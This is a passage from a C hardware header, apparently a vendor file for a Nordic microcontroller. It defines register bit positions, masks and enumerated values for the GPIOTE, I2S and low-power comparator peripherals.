#define GPIOTE_CONFIG_POLARITY_LoToHi (1UL) /*!< Task mode: Set pin from OUT[n] task. Event mode: Generate IN[n] event when rising edge on pin. */
#define GPIOTE_CONFIG_POLARITY_HiToLo (2UL) /*!< Task mode: Clear pin from OUT[n] task. Event mode: Generate IN[n] event when falling edge on pin. */
#define GPIOTE_CONFIG_POLARITY_Toggle (3UL) /*!< Task mode: Toggle pin from OUT[n]. Event mode: Generate IN[n] when any change on pin. */
/* Bits 12..8 : GPIO number associated with SET[n], CLR[n] and OUT[n] tasks and IN[n] event */
#define GPIOTE_CONFIG_PSEL_Pos (8UL) /*!< Position of PSEL field. */
#define GPIOTE_CONFIG_PSEL_Msk (0x1FUL << GPIOTE_CONFIG_PSEL_Pos) /*!< Bit mask of PSEL field. */
/* Bits 1..0 : Mode */
#define GPIOTE_CONFIG_MODE_Pos (0UL) /*!< Position of MODE field. */
#define GPIOTE_CONFIG_MODE_Msk (0x3UL << GPIOTE_CONFIG_MODE_Pos) /*!< Bit mask of MODE field. */
#define GPIOTE_CONFIG_MODE_Disabled (0UL) /*!< Disabled. Pin specified by PSEL will not be acquired by the GPIOTE module. */
#define GPIOTE_CONFIG_MODE_Event (1UL) /*!< Event mode */
#define GPIOTE_CONFIG_MODE_Task (3UL) /*!< Task mode */
/* Peripheral: I2S */
/* Description: Inter-IC Sound */
/* Register: I2S_INTEN */
/* Description: Enable or disable interrupt */
/* Bit 5 : Enable or disable interrupt for TXPTRUPD event */
#define I2S_INTEN_TXPTRUPD_Pos (5UL) /*!< Position of TXPTRUPD field. */
#define I2S_INTEN_TXPTRUPD_Msk (0x1UL << I2S_INTEN_TXPTRUPD_Pos) /*!< Bit mask of TXPTRUPD field. */
#define I2S_INTEN_TXPTRUPD_Disabled (0UL) /*!< Disable */
#define I2S_INTEN_TXPTRUPD_Enabled (1UL) /*!< Enable */
/* Bit 2 : Enable or disable interrupt for STOPPED event */
#define I2S_INTEN_STOPPED_Pos (2UL) /*!< Position of STOPPED field. */
#define I2S_INTEN_STOPPED_Msk (0x1UL << I2S_INTEN_STOPPED_Pos) /*!< Bit mask of STOPPED field. */
#define I2S_INTEN_STOPPED_Disabled (0UL) /*!< Disable */
#define I2S_INTEN_STOPPED_Enabled (1UL) /*!< Enable */
/* Bit 1 : Enable or disable interrupt for RXPTRUPD event */
#define I2S_INTEN_RXPTRUPD_Pos (1UL) /*!< Position of RXPTRUPD field. */
#define I2S_INTEN_RXPTRUPD_Msk (0x1UL << I2S_INTEN_RXPTRUPD_Pos) /*!< Bit mask of RXPTRUPD field. */
#define I2S_INTEN_RXPTRUPD_Disabled (0UL) /*!< Disable */
#define I2S_INTEN_RXPTRUPD_Enabled (1UL) /*!< Enable */
/* Register: I2S_INTENSET */
/* Description: Enable interrupt */
/* Bit 5 : Write '1' to Enable interrupt for TXPTRUPD event */
#define I2S_INTENSET_TXPTRUPD_Pos (5UL) /*!< Position of TXPTRUPD field. */
#define I2S_INTENSET_TXPTRUPD_Msk (0x1UL << I2S_INTENSET_TXPTRUPD_Pos) /*!< Bit mask of TXPTRUPD field. */
#define I2S_INTENSET_TXPTRUPD_Disabled (0UL) /*!< Read: Disabled */
#define I2S_INTENSET_TXPTRUPD_Enabled (1UL) /*!< Read: Enabled */
#define I2S_INTENSET_TXPTRUPD_Set (1UL) /*!< Enable */
/* Bit 2 : Write '1' to Enable interrupt for STOPPED event */
#define I2S_INTENSET_STOPPED_Pos (2UL) /*!< Position of STOPPED field. */
#define I2S_INTENSET_STOPPED_Msk (0x1UL << I2S_INTENSET_STOPPED_Pos) /*!< Bit mask of STOPPED field. */
#define I2S_INTENSET_STOPPED_Disabled (0UL) /*!< Read: Disabled */
#define I2S_INTENSET_STOPPED_Enabled (1UL) /*!< Read: Enabled */
#define I2S_INTENSET_STOPPED_Set (1UL) /*!< Enable */
/* Bit 1 : Write '1' to Enable interrupt for RXPTRUPD event */
#define I2S_INTENSET_RXPTRUPD_Pos (1UL) /*!< Position of RXPTRUPD field. */
#define I2S_INTENSET_RXPTRUPD_Msk (0x1UL << I2S_INTENSET_RXPTRUPD_Pos) /*!< Bit mask of RXPTRUPD field. */
#define I2S_INTENSET_RXPTRUPD_Disabled (0UL) /*!< Read: Disabled */
#define I2S_INTENSET_RXPTRUPD_Enabled (1UL) /*!< Read: Enabled */
#define I2S_INTENSET_RXPTRUPD_Set (1UL) /*!< Enable */
/* Register: I2S_INTENCLR */
/* Description: Disable interrupt */
/* Bit 5 : Write '1' to Disable interrupt for TXPTRUPD event */
#define I2S_INTENCLR_TXPTRUPD_Pos (5UL) /*!< Position of TXPTRUPD field. */
#define I2S_INTENCLR_TXPTRUPD_Msk (0x1UL << I2S_INTENCLR_TXPTRUPD_Pos) /*!< Bit mask of TXPTRUPD field. */
#define I2S_INTENCLR_TXPTRUPD_Disabled (0UL) /*!< Read: Disabled */
#define I2S_INTENCLR_TXPTRUPD_Enabled (1UL) /*!< Read: Enabled */
#define I2S_INTENCLR_TXPTRUPD_Clear (1UL) /*!< Disable */
/* Bit 2 : Write '1' to Disable interrupt for STOPPED event */
#define I2S_INTENCLR_STOPPED_Pos (2UL) /*!< Position of STOPPED field. */
#define I2S_INTENCLR_STOPPED_Msk (0x1UL << I2S_INTENCLR_STOPPED_Pos) /*!< Bit mask of STOPPED field. */
#define I2S_INTENCLR_STOPPED_Disabled (0UL) /*!< Read: Disabled */
#define I2S_INTENCLR_STOPPED_Enabled (1UL) /*!< Read: Enabled */
#define I2S_INTENCLR_STOPPED_Clear (1UL) /*!< Disable */
/* Bit 1 : Write '1' to Disable interrupt for RXPTRUPD event */
#define I2S_INTENCLR_RXPTRUPD_Pos (1UL) /*!< Position of RXPTRUPD field. */
#define I2S_INTENCLR_RXPTRUPD_Msk (0x1UL << I2S_INTENCLR_RXPTRUPD_Pos) /*!< Bit mask of RXPTRUPD field. */
#define I2S_INTENCLR_RXPTRUPD_Disabled (0UL) /*!< Read: Disabled */
#define I2S_INTENCLR_RXPTRUPD_Enabled (1UL) /*!< Read: Enabled */
#define I2S_INTENCLR_RXPTRUPD_Clear (1UL) /*!< Disable */
/* Register: I2S_ENABLE */
/* Description: Enable I2S module. */
/* Bit 0 : Enable I2S module. */
#define I2S_ENABLE_ENABLE_Pos (0UL) /*!< Position of ENABLE field. */
#define I2S_ENABLE_ENABLE_Msk (0x1UL << I2S_ENABLE_ENABLE_Pos) /*!< Bit mask of ENABLE field. */
#define I2S_ENABLE_ENABLE_Disabled (0UL) /*!< Disable */
#define I2S_ENABLE_ENABLE_Enabled (1UL) /*!< Enable */
/* Register: I2S_CONFIG_MODE */
/* Description: I2S mode. */
/* Bit 0 : I2S mode. */
#define I2S_CONFIG_MODE_MODE_Pos (0UL) /*!< Position of MODE field. */
#define I2S_CONFIG_MODE_MODE_Msk (0x1UL << I2S_CONFIG_MODE_MODE_Pos) /*!< Bit mask of MODE field. */
#define I2S_CONFIG_MODE_MODE_Master (0UL) /*!< Master mode. SCK and LRCK generated from internal master clcok (MCK) and output on pins defined by PSEL.xxx. */
#define I2S_CONFIG_MODE_MODE_Slave (1UL) /*!< Slave mode. SCK and LRCK generated by external master and received on pins defined by PSEL.xxx */
/* Register: I2S_CONFIG_RXEN */
/* Description: Reception (RX) enable. */
/* Bit 0 : Reception (RX) enable. */
#define I2S_CONFIG_RXEN_RXEN_Pos (0UL) /*!< Position of RXEN field. */
#define I2S_CONFIG_RXEN_RXEN_Msk (0x1UL << I2S_CONFIG_RXEN_RXEN_Pos) /*!< Bit mask of RXEN field. */
#define I2S_CONFIG_RXEN_RXEN_Disabled (0UL) /*!< Reception disabled and now data will be written to the RXD.PTR address. */
#define I2S_CONFIG_RXEN_RXEN_Enabled (1UL) /*!< Reception enabled. */
/* Register: I2S_CONFIG_TXEN */
/* Description: Transmission (TX) enable. */
/* Bit 0 : Transmission (TX) enable. */
#define I2S_CONFIG_TXEN_TXEN_Pos (0UL) /*!< Position of TXEN field. */
#define I2S_CONFIG_TXEN_TXEN_Msk (0x1UL << I2S_CONFIG_TXEN_TXEN_Pos) /*!< Bit mask of TXEN field. */
#define I2S_CONFIG_TXEN_TXEN_Disabled (0UL) /*!< Transmission disabled and now data will be read from the RXD.TXD address. */
#define I2S_CONFIG_TXEN_TXEN_Enabled (1UL) /*!< Transmission enabled. */
/* Register: I2S_CONFIG_MCKEN */
/* Description: Master clock generator enable. */
/* Bit 0 : Master clock generator enable. */
#define I2S_CONFIG_MCKEN_MCKEN_Pos (0UL) /*!< Position of MCKEN field. */
#define I2S_CONFIG_MCKEN_MCKEN_Msk (0x1UL << I2S_CONFIG_MCKEN_MCKEN_Pos) /*!< Bit mask of MCKEN field. */
#define I2S_CONFIG_MCKEN_MCKEN_Disabled (0UL) /*!< Master clock generator disabled and PSEL.MCK not connected(available as GPIO). */
#define I2S_CONFIG_MCKEN_MCKEN_Enabled (1UL) /*!< Master clock generator running and MCK output on PSEL.MCK. */
/* Register: I2S_CONFIG_MCKFREQ */
/* Description: Master clock generator frequency. */
/* Bits 31..0 : Master clock generator frequency. */
#define I2S_CONFIG_MCKFREQ_MCKFREQ_Pos (0UL) /*!< Position of MCKFREQ field. */
#define I2S_CONFIG_MCKFREQ_MCKFREQ_Msk (0xFFFFFFFFUL << I2S_CONFIG_MCKFREQ_MCKFREQ_Pos) /*!< Bit mask of MCKFREQ field. */
#define I2S_CONFIG_MCKFREQ_MCKFREQ_32MDIV125 (0x020C0000UL) /*!< 32 MHz / 125 = 0.256 MHz */
#define I2S_CONFIG_MCKFREQ_MCKFREQ_32MDIV63 (0x04100000UL) /*!< 32 MHz / 63 = 0.5079365 MHz */
#define I2S_CONFIG_MCKFREQ_MCKFREQ_32MDIV42 (0x06000000UL) /*!< 32 MHz / 42 = 0.7619048 MHz */
#define I2S_CONFIG_MCKFREQ_MCKFREQ_32MDIV32 (0x08000000UL) /*!< 32 MHz / 32 = 1.0 MHz */
#define I2S_CONFIG_MCKFREQ_MCKFREQ_32MDIV31 (0x08400000UL) /*!< 32 MHz / 31 = 1.0322581 MHz */
#define I2S_CONFIG_MCKFREQ_MCKFREQ_32MDIV30 (0x08800000UL) /*!< 32 MHz / 30 = 1.0666667 MHz */
#define I2S_CONFIG_MCKFREQ_MCKFREQ_32MDIV23 (0x0B000000UL) /*!< 32 MHz / 23 = 1.3913043 MHz */
#define I2S_CONFIG_MCKFREQ_MCKFREQ_32MDIV21 (0x0C000000UL) /*!< 32 MHz / 21 = 1.5238095 */
#define I2S_CONFIG_MCKFREQ_MCKFREQ_32MDIV16 (0x10000000UL) /*!< 32 MHz / 16 = 2.0 MHz */
#define I2S_CONFIG_MCKFREQ_MCKFREQ_32MDIV15 (0x11000000UL) /*!< 32 MHz / 15 = 2.1333333 MHz */
#define I2S_CONFIG_MCKFREQ_MCKFREQ_32MDIV11 (0x16000000UL) /*!< 32 MHz / 11 = 2.9090909 MHz */
#define I2S_CONFIG_MCKFREQ_MCKFREQ_32MDIV10 (0x18000000UL) /*!< 32 MHz / 10 = 3.2 MHz */
#define I2S_CONFIG_MCKFREQ_MCKFREQ_32MDIV8 (0x20000000UL) /*!< 32 MHz / 8 = 4.0 MHz */
#define I2S_CONFIG_MCKFREQ_MCKFREQ_32MDIV6 (0x28000000UL) /*!< 32 MHz / 6 = 5.3333333 MHz */
#define I2S_CONFIG_MCKFREQ_MCKFREQ_32MDIV5 (0x30000000UL) /*!< 32 MHz / 5 = 6.4 MHz */
#define I2S_CONFIG_MCKFREQ_MCKFREQ_32MDIV4 (0x40000000UL) /*!< 32 MHz / 4 = 8.0 MHz */
#define I2S_CONFIG_MCKFREQ_MCKFREQ_32MDIV3 (0x50000000UL) /*!< 32 MHz / 3 = 10.6666667 MHz */
#define I2S_CONFIG_MCKFREQ_MCKFREQ_32MDIV2 (0x80000000UL) /*!< 32 MHz / 2 = 16.0 MHz */
/* Register: I2S_CONFIG_RATIO */
/* Description: MCK / LRCK ratio. */
/* Bits 3..0 : MCK / LRCK ratio. */
#define I2S_CONFIG_RATIO_RATIO_Pos (0UL) /*!< Position of RATIO field. */
#define I2S_CONFIG_RATIO_RATIO_Msk (0xFUL << I2S_CONFIG_RATIO_RATIO_Pos) /*!< Bit mask of RATIO field. */
#define I2S_CONFIG_RATIO_RATIO_32X (0UL) /*!< LRCK = MCK / 32 */
#define I2S_CONFIG_RATIO_RATIO_48X (1UL) /*!< LRCK = MCK / 48 */
#define I2S_CONFIG_RATIO_RATIO_64X (2UL) /*!< LRCK = MCK / 64 */
#define I2S_CONFIG_RATIO_RATIO_96X (3UL) /*!< LRCK = MCK / 96 */
#define I2S_CONFIG_RATIO_RATIO_128X (4UL) /*!< LRCK = MCK / 128 */
#define I2S_CONFIG_RATIO_RATIO_192X (5UL) /*!< LRCK = MCK / 192 */
#define I2S_CONFIG_RATIO_RATIO_256X (6UL) /*!< LRCK = MCK / 256 */
#define I2S_CONFIG_RATIO_RATIO_384X (7UL) /*!< LRCK = MCK / 384 */
#define I2S_CONFIG_RATIO_RATIO_512X (8UL) /*!< LRCK = MCK / 512 */
/* Register: I2S_CONFIG_SWIDTH */
/* Description: Sample width. */
/* Bits 1..0 : Sample width. */
#define I2S_CONFIG_SWIDTH_SWIDTH_Pos (0UL) /*!< Position of SWIDTH field. */
#define I2S_CONFIG_SWIDTH_SWIDTH_Msk (0x3UL << I2S_CONFIG_SWIDTH_SWIDTH_Pos) /*!< Bit mask of SWIDTH field. */
#define I2S_CONFIG_SWIDTH_SWIDTH_8Bit (0UL) /*!< 8 bit. */
#define I2S_CONFIG_SWIDTH_SWIDTH_16Bit (1UL) /*!< 16 bit. */
#define I2S_CONFIG_SWIDTH_SWIDTH_24Bit (2UL) /*!< 24 bit. */
/* Register: I2S_CONFIG_ALIGN */
/* Description: Alignment of sample within a frame. */
/* Bit 0 : Alignment of sample within a frame. */
#define I2S_CONFIG_ALIGN_ALIGN_Pos (0UL) /*!< Position of ALIGN field. */
#define I2S_CONFIG_ALIGN_ALIGN_Msk (0x1UL << I2S_CONFIG_ALIGN_ALIGN_Pos) /*!< Bit mask of ALIGN field. */
#define I2S_CONFIG_ALIGN_ALIGN_Left (0UL) /*!< Left-aligned. */
#define I2S_CONFIG_ALIGN_ALIGN_Right (1UL) /*!< Right-aligned. */
/* Register: I2S_CONFIG_FORMAT */
/* Description: Frame format. */
/* Bit 0 : Frame format. */
#define I2S_CONFIG_FORMAT_FORMAT_Pos (0UL) /*!< Position of FORMAT field. */
#define I2S_CONFIG_FORMAT_FORMAT_Msk (0x1UL << I2S_CONFIG_FORMAT_FORMAT_Pos) /*!< Bit mask of FORMAT field. */
#define I2S_CONFIG_FORMAT_FORMAT_I2S (0UL) /*!< Original I2S format. */
#define I2S_CONFIG_FORMAT_FORMAT_Aligned (1UL) /*!< Alternate (left- or right-aligned) format. */
/* Register: I2S_CONFIG_CHANNELS */
/* Description: Enable channels. */
/* Bits 1..0 : Enable channels. */
#define I2S_CONFIG_CHANNELS_CHANNELS_Pos (0UL) /*!< Position of CHANNELS field. */
#define I2S_CONFIG_CHANNELS_CHANNELS_Msk (0x3UL << I2S_CONFIG_CHANNELS_CHANNELS_Pos) /*!< Bit mask of CHANNELS field. */
#define I2S_CONFIG_CHANNELS_CHANNELS_Stereo (0UL) /*!< Stereo. */
#define I2S_CONFIG_CHANNELS_CHANNELS_Left (1UL) /*!< Left only. */
#define I2S_CONFIG_CHANNELS_CHANNELS_Right (2UL) /*!< Right only. */
/* Register: I2S_RXD_PTR */
/* Description: Receive buffer RAM start address. */
/* Bits 31..0 : Receive buffer Data RAM start address. When receiving, words containing samples will be written to this address. This address is a word aligned Data RAM address. */
#define I2S_RXD_PTR_PTR_Pos (0UL) /*!< Position of PTR field. */
#define I2S_RXD_PTR_PTR_Msk (0xFFFFFFFFUL << I2S_RXD_PTR_PTR_Pos) /*!< Bit mask of PTR field. */
/* Register: I2S_TXD_PTR */
/* Description: Transmit buffer RAM start address. */
/* Bits 31..0 : Transmit buffer Data RAM start address. When transmitting, words containing samples will be fetched from this address. This address is a word aligned Data RAM address. */
#define I2S_TXD_PTR_PTR_Pos (0UL) /*!< Position of PTR field. */
#define I2S_TXD_PTR_PTR_Msk (0xFFFFFFFFUL << I2S_TXD_PTR_PTR_Pos) /*!< Bit mask of PTR field. */
/* Register: I2S_RXTXD_MAXCNT */
/* Description: Size of RXD and TXD buffers. */
/* Bits 13..0 : Size of RXD and TXD buffers in number of 32 bit words. */
#define I2S_RXTXD_MAXCNT_MAXCNT_Pos (0UL) /*!< Position of MAXCNT field. */
#define I2S_RXTXD_MAXCNT_MAXCNT_Msk (0x3FFFUL << I2S_RXTXD_MAXCNT_MAXCNT_Pos) /*!< Bit mask of MAXCNT field. */
/* Register: I2S_PSEL_MCK */
/* Description: Pin select for MCK signal. */
/* Bit 31 : Connection */
#define I2S_PSEL_MCK_CONNECT_Pos (31UL) /*!< Position of CONNECT field. */
#define I2S_PSEL_MCK_CONNECT_Msk (0x1UL << I2S_PSEL_MCK_CONNECT_Pos) /*!< Bit mask of CONNECT field. */
#define I2S_PSEL_MCK_CONNECT_Connected (0UL) /*!< Connect */
#define I2S_PSEL_MCK_CONNECT_Disconnected (1UL) /*!< Disconnect */
/* Bits 4..0 : Pin number */
#define I2S_PSEL_MCK_PIN_Pos (0UL) /*!< Position of PIN field. */
#define I2S_PSEL_MCK_PIN_Msk (0x1FUL << I2S_PSEL_MCK_PIN_Pos) /*!< Bit mask of PIN field. */
/* Register: I2S_PSEL_SCK */
/* Description: Pin select for SCK signal. */
/* Bit 31 : Connection */
#define I2S_PSEL_SCK_CONNECT_Pos (31UL) /*!< Position of CONNECT field. */
#define I2S_PSEL_SCK_CONNECT_Msk (0x1UL << I2S_PSEL_SCK_CONNECT_Pos) /*!< Bit mask of CONNECT field. */
#define I2S_PSEL_SCK_CONNECT_Connected (0UL) /*!< Connect */
#define I2S_PSEL_SCK_CONNECT_Disconnected (1UL) /*!< Disconnect */
/* Bits 4..0 : Pin number */
#define I2S_PSEL_SCK_PIN_Pos (0UL) /*!< Position of PIN field. */
#define I2S_PSEL_SCK_PIN_Msk (0x1FUL << I2S_PSEL_SCK_PIN_Pos) /*!< Bit mask of PIN field. */
/* Register: I2S_PSEL_LRCK */
/* Description: Pin select for LRCK signal. */
/* Bit 31 : Connection */
#define I2S_PSEL_LRCK_CONNECT_Pos (31UL) /*!< Position of CONNECT field. */
#define I2S_PSEL_LRCK_CONNECT_Msk (0x1UL << I2S_PSEL_LRCK_CONNECT_Pos) /*!< Bit mask of CONNECT field. */
#define I2S_PSEL_LRCK_CONNECT_Connected (0UL) /*!< Connect */
#define I2S_PSEL_LRCK_CONNECT_Disconnected (1UL) /*!< Disconnect */
/* Bits 4..0 : Pin number */
#define I2S_PSEL_LRCK_PIN_Pos (0UL) /*!< Position of PIN field. */
#define I2S_PSEL_LRCK_PIN_Msk (0x1FUL << I2S_PSEL_LRCK_PIN_Pos) /*!< Bit mask of PIN field. */
/* Register: I2S_PSEL_SDIN */
/* Description: Pin select for SDIN signal. */
/* Bit 31 : Connection */
#define I2S_PSEL_SDIN_CONNECT_Pos (31UL) /*!< Position of CONNECT field. */
#define I2S_PSEL_SDIN_CONNECT_Msk (0x1UL << I2S_PSEL_SDIN_CONNECT_Pos) /*!< Bit mask of CONNECT field. */
#define I2S_PSEL_SDIN_CONNECT_Connected (0UL) /*!< Connect */
#define I2S_PSEL_SDIN_CONNECT_Disconnected (1UL) /*!< Disconnect */
/* Bits 4..0 : Pin number */
#define I2S_PSEL_SDIN_PIN_Pos (0UL) /*!< Position of PIN field. */
#define I2S_PSEL_SDIN_PIN_Msk (0x1FUL << I2S_PSEL_SDIN_PIN_Pos) /*!< Bit mask of PIN field. */
/* Register: I2S_PSEL_SDOUT */
/* Description: Pin select for SDOUT signal. */
/* Bit 31 : Connection */
#define I2S_PSEL_SDOUT_CONNECT_Pos (31UL) /*!< Position of CONNECT field. */
#define I2S_PSEL_SDOUT_CONNECT_Msk (0x1UL << I2S_PSEL_SDOUT_CONNECT_Pos) /*!< Bit mask of CONNECT field. */
#define I2S_PSEL_SDOUT_CONNECT_Connected (0UL) /*!< Connect */
#define I2S_PSEL_SDOUT_CONNECT_Disconnected (1UL) /*!< Disconnect */
/* Bits 4..0 : Pin number */
#define I2S_PSEL_SDOUT_PIN_Pos (0UL) /*!< Position of PIN field. */
#define I2S_PSEL_SDOUT_PIN_Msk (0x1FUL << I2S_PSEL_SDOUT_PIN_Pos) /*!< Bit mask of PIN field. */
/* Peripheral: LPCOMP */
/* Description: Low Power Comparator */
/* Register: LPCOMP_SHORTS */
/* Description: Shortcut register */
/* Bit 4 : Shortcut between CROSS event and STOP task */
#define LPCOMP_SHORTS_CROSS_STOP_Pos (4UL) /*!< Position of CROSS_STOP field. */
#define LPCOMP_SHORTS_CROSS_STOP_Msk (0x1UL << LPCOMP_SHORTS_CROSS_STOP_Pos) /*!< Bit mask of CROSS_STOP field. */
#define LPCOMP_SHORTS_CROSS_STOP_Disabled (0UL) /*!< Disable shortcut */
#define LPCOMP_SHORTS_CROSS_STOP_Enabled (1UL) /*!< Enable shortcut */
/* Bit 3 : Shortcut between UP event and STOP task */
#define LPCOMP_SHORTS_UP_STOP_Pos (3UL) /*!< Position of UP_STOP field. */
#define LPCOMP_SHORTS_UP_STOP_Msk (0x1UL << LPCOMP_SHORTS_UP_STOP_Pos) /*!< Bit mask of UP_STOP field. */
#define LPCOMP_SHORTS_UP_STOP_Disabled (0UL) /*!< Disable shortcut */
#define LPCOMP_SHORTS_UP_STOP_Enabled (1UL) /*!< Enable shortcut */
/* Bit 2 : Shortcut between DOWN event and STOP task */
#define LPCOMP_SHORTS_DOWN_STOP_Pos (2UL) /*!< Position of DOWN_STOP field. */
#define LPCOMP_SHORTS_DOWN_STOP_Msk (0x1UL << LPCOMP_SHORTS_DOWN_STOP_Pos) /*!< Bit mask of DOWN_STOP field. */
#define LPCOMP_SHORTS_DOWN_STOP_Disabled (0UL) /*!< Disable shortcut */
#define LPCOMP_SHORTS_DOWN_STOP_Enabled (1UL) /*!< Enable shortcut */
/* Bit 1 : Shortcut between READY event and STOP task */
#define LPCOMP_SHORTS_READY_STOP_Pos (1UL) /*!< Position of READY_STOP field. */
#define LPCOMP_SHORTS_READY_STOP_Msk (0x1UL << LPCOMP_SHORTS_READY_STOP_Pos) /*!< Bit mask of READY_STOP field. */
#define LPCOMP_SHORTS_READY_STOP_Disabled (0UL) /*!< Disable shortcut */
#define LPCOMP_SHORTS_READY_STOP_Enabled (1UL) /*!< Enable shortcut */
/* Bit 0 : Shortcut between READY event and SAMPLE task */
#define LPCOMP_SHORTS_READY_SAMPLE_Pos (0UL) /*!< Position of READY_SAMPLE field. */
#define LPCOMP_SHORTS_READY_SAMPLE_Msk (0x1UL << LPCOMP_SHORTS_READY_SAMPLE_Pos) /*!< Bit mask of READY_SAMPLE field. */
#define LPCOMP_SHORTS_READY_SAMPLE_Disabled (0UL) /*!< Disable shortcut */
#define LPCOMP_SHORTS_READY_SAMPLE_Enabled (1UL) /*!< Enable shortcut */
/* Register: LPCOMP_INTENSET */
/* Description: Enable interrupt */
/* Bit 3 : Write '1' to Enable interrupt for CROSS event */
#define LPCOMP_INTENSET_CROSS_Pos (3UL) /*!< Position of CROSS field. */
#define LPCOMP_INTENSET_CROSS_Msk (0x1UL << LPCOMP_INTENSET_CROSS_Pos) /*!< Bit mask of CROSS field. */
#define LPCOMP_INTENSET_CROSS_Disabled (0UL) /*!< Read: Disabled */
#define LPCOMP_INTENSET_CROSS_Enabled (1UL) /*!< Read: Enabled */
#define LPCOMP_INTENSET_CROSS_Set (1UL) /*!< Enable */
/* Bit 2 : Write '1' to Enable interrupt for UP event */
#define LPCOMP_INTENSET_UP_Pos (2UL) /*!< Position of UP field. */
#define LPCOMP_INTENSET_UP_Msk (0x1UL << LPCOMP_INTENSET_UP_Pos) /*!< Bit mask of UP field. */
#define LPCOMP_INTENSET_UP_Disabled (0UL) /*!< Read: Disabled */
#define LPCOMP_INTENSET_UP_Enabled (1UL) /*!< Read: Enabled */
#define LPCOMP_INTENSET_UP_Set (1UL) /*!< Enable */
/* Bit 1 : Write '1' to Enable interrupt for DOWN event */
#define LPCOMP_INTENSET_DOWN_Pos (1UL) /*!< Position of DOWN field. */
#define LPCOMP_INTENSET_DOWN_Msk (0x1UL << LPCOMP_INTENSET_DOWN_Pos) /*!< Bit mask of DOWN field. */
#define LPCOMP_INTENSET_DOWN_Disabled (0UL) /*!< Read: Disabled */
#define LPCOMP_INTENSET_DOWN_Enabled (1UL) /*!< Read: Enabled */
#define LPCOMP_INTENSET_DOWN_Set (1UL) /*!< Enable */
/* Bit 0 : Write '1' to Enable interrupt for READY event */
#define LPCOMP_INTENSET_READY_Pos (0UL) /*!< Position of READY field. */
#define LPCOMP_INTENSET_READY_Msk (0x1UL << LPCOMP_INTENSET_READY_Pos) /*!< Bit mask of READY field. */
#define LPCOMP_INTENSET_READY_Disabled (0UL) /*!< Read: Disabled */
#define LPCOMP_INTENSET_READY_Enabled (1UL) /*!< Read: Enabled */
#define LPCOMP_INTENSET_READY_Set (1UL) /*!< Enable */
/* Register: LPCOMP_INTENCLR */
/* Description: Disable interrupt */
/* Bit 3 : Write '1' to Disable interrupt for CROSS event */
#define LPCOMP_INTENCLR_CROSS_Pos (3UL) /*!< Position of CROSS field. */
#define LPCOMP_INTENCLR_CROSS_Msk (0x1UL << LPCOMP_INTENCLR_CROSS_Pos) /*!< Bit mask of CROSS field. */
#define LPCOMP_INTENCLR_CROSS_Disabled (0UL) /*!< Read: Disabled */
#define LPCOMP_INTENCLR_CROSS_Enabled (1UL) /*!< Read: Enabled */
#define LPCOMP_INTENCLR_CROSS_Clear (1UL) /*!< Disable */
/* Bit 2 : Write '1' to Disable interrupt for UP event */
#define LPCOMP_INTENCLR_UP_Pos (2UL) /*!< Position of UP field. */
#define LPCOMP_INTENCLR_UP_Msk (0x1UL << LPCOMP_INTENCLR_UP_Pos) /*!< Bit mask of UP field. */
#define LPCOMP_INTENCLR_UP_Disabled (0UL) /*!< Read: Disabled */
#define LPCOMP_INTENCLR_UP_Enabled (1UL) /*!< Read: Enabled */
#define LPCOMP_INTENCLR_UP_Clear (1UL) /*!< Disable */
/* Bit 1 : Write '1' to Disable interrupt for DOWN event */
#define LPCOMP_INTENCLR_DOWN_Pos (1UL) /*!< Position of DOWN field. */
#define LPCOMP_INTENCLR_DOWN_Msk (0x1UL << LPCOMP_INTENCLR_DOWN_Pos) /*!< Bit mask of DOWN field. */
#define LPCOMP_INTENCLR_DOWN_Disabled (0UL) /*!< Read: Disabled */
#define LPCOMP_INTENCLR_DOWN_Enabled (1UL) /*!< Read: Enabled */
#define LPCOMP_INTENCLR_DOWN_Clear (1UL) /*!< Disable */
/* Bit 0 : Write '1' to Disable interrupt for READY event */
#define LPCOMP_INTENCLR_READY_Pos (0UL) /*!< Position of READY field. */
#define LPCOMP_INTENCLR_READY_Msk (0x1UL << LPCOMP_INTENCLR_READY_Pos) /*!< Bit mask of READY field. */
#define LPCOMP_INTENCLR_READY_Disabled (0UL) /*!< Read: Disabled */
#define LPCOMP_INTENCLR_READY_Enabled (1UL) /*!< Read: Enabled */
#define LPCOMP_INTENCLR_READY_Clear (1UL) /*!< Disable */
/* Register: LPCOMP_RESULT */
/* Description: Compare result */
/* Bit 0 : Result of last compare. Decision point SAMPLE task. */
#define LPCOMP_RESULT_RESULT_Pos (0UL) /*!< Position of RESULT field. */
#define LPCOMP_RESULT_RESULT_Msk (0x1UL << LPCOMP_RESULT_RESULT_Pos) /*!< Bit mask of RESULT field. */
#define LPCOMP_RESULT_RESULT_Below (0UL) /*!< Input voltage is below the reference threshold (VIN+ < VIN-). */
#define LPCOMP_RESULT_RESULT_Above (1UL) /*!< Input voltage is above the reference threshold (VIN+ > VIN-). */
/* Register: LPCOMP_ENABLE */
/* Description: Enable LPCOMP */
/* Bits 1..0 : Enable or disable LPCOMP */
#define LPCOMP_ENABLE_ENABLE_Pos (0UL) /*!< Position of ENABLE field. */
#define LPCOMP_ENABLE_ENABLE_Msk (0x3UL << LPCOMP_ENABLE_ENABLE_Pos) /*!< Bit mask of ENABLE field. */
#define LPCOMP_ENABLE_ENABLE_Disabled (0UL) /*!< Disable */
#define LPCOMP_ENABLE_ENABLE_Enabled (1UL) /*!< Enable */
/* Register: LPCOMP_PSEL */
/* Description: Input pin select */
/* Bits 2..0 : Analog pin select */
#define LPCOMP_PSEL_PSEL_Pos (0UL) /*!< Position of PSEL field. */
#define LPCOMP_PSEL_PSEL_Msk (0x7UL << LPCOMP_PSEL_PSEL_Pos) /*!< Bit mask of PSEL field. */
#define LPCOMP_PSEL_PSEL_AnalogInput0 (0UL) /*!< AIN0 selected as analog input */
#define LPCOMP_PSEL_PSEL_AnalogInput1 (1UL) /*!< AIN1 selected as analog input */
#define LPCOMP_PSEL_PSEL_AnalogInput2 (2UL) /*!< AIN2 selected as analog input */
#define LPCOMP_PSEL_PSEL_AnalogInput3 (3UL) /*!< AIN3 selected as analog input */
#define LPCOMP_PSEL_PSEL_AnalogInput4 (4UL) /*!< AIN4 selected as analog input */
#define LPCOMP_PSEL_PSEL_AnalogInput5 (5UL) /*!< AIN5 selected as analog input */
#define LPCOMP_PSEL_PSEL_AnalogInput6 (6UL) /*!< AIN6 selected as analog input */
#define LPCOMP_PSEL_PSEL_AnalogInput7 (7UL) /*!< AIN7 selected as analog input */
/* Register: LPCOMP_REFSEL */
/* Description: Reference select */
/* Bits 3..0 : Reference select */
#define LPCOMP_REFSEL_REFSEL_Pos (0UL) /*!< Position of REFSEL field. */
